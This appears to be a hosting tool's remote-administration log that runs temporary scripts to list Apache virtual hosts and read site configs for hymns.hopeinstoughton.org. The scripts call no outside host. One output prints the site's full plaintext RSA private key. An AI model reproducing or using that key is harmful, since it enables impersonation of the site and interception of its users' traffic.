MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:02:27: Establishing a connection
2026-01-03 19:02:28: 

PUT: /tmp/pkp907723

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 19:02:29: 

chmod 755 /tmp/pkp907723; /tmp/pkp907723; rm /tmp/pkp907723

2026-01-03 19:02:30: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-01-03 19:02:30: 

PUT: /tmp/pkp432806

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')
    show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:02:30: 

chmod 755 /tmp/pkp432806; /tmp/pkp432806; rm /tmp/pkp432806

2026-01-03 19:02:30: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf	1490
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf	1490
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>







2026-01-03 19:02:30: 

PUT: /tmp/pkp206623

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:02:31: 

chmod 755 /tmp/pkp206623; /tmp/pkp206623; rm /tmp/pkp206623

2026-01-03 19:02:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4	5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 19:02:31: 

PUT: /tmp/pkp389704

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')

finally:
    gz.close();

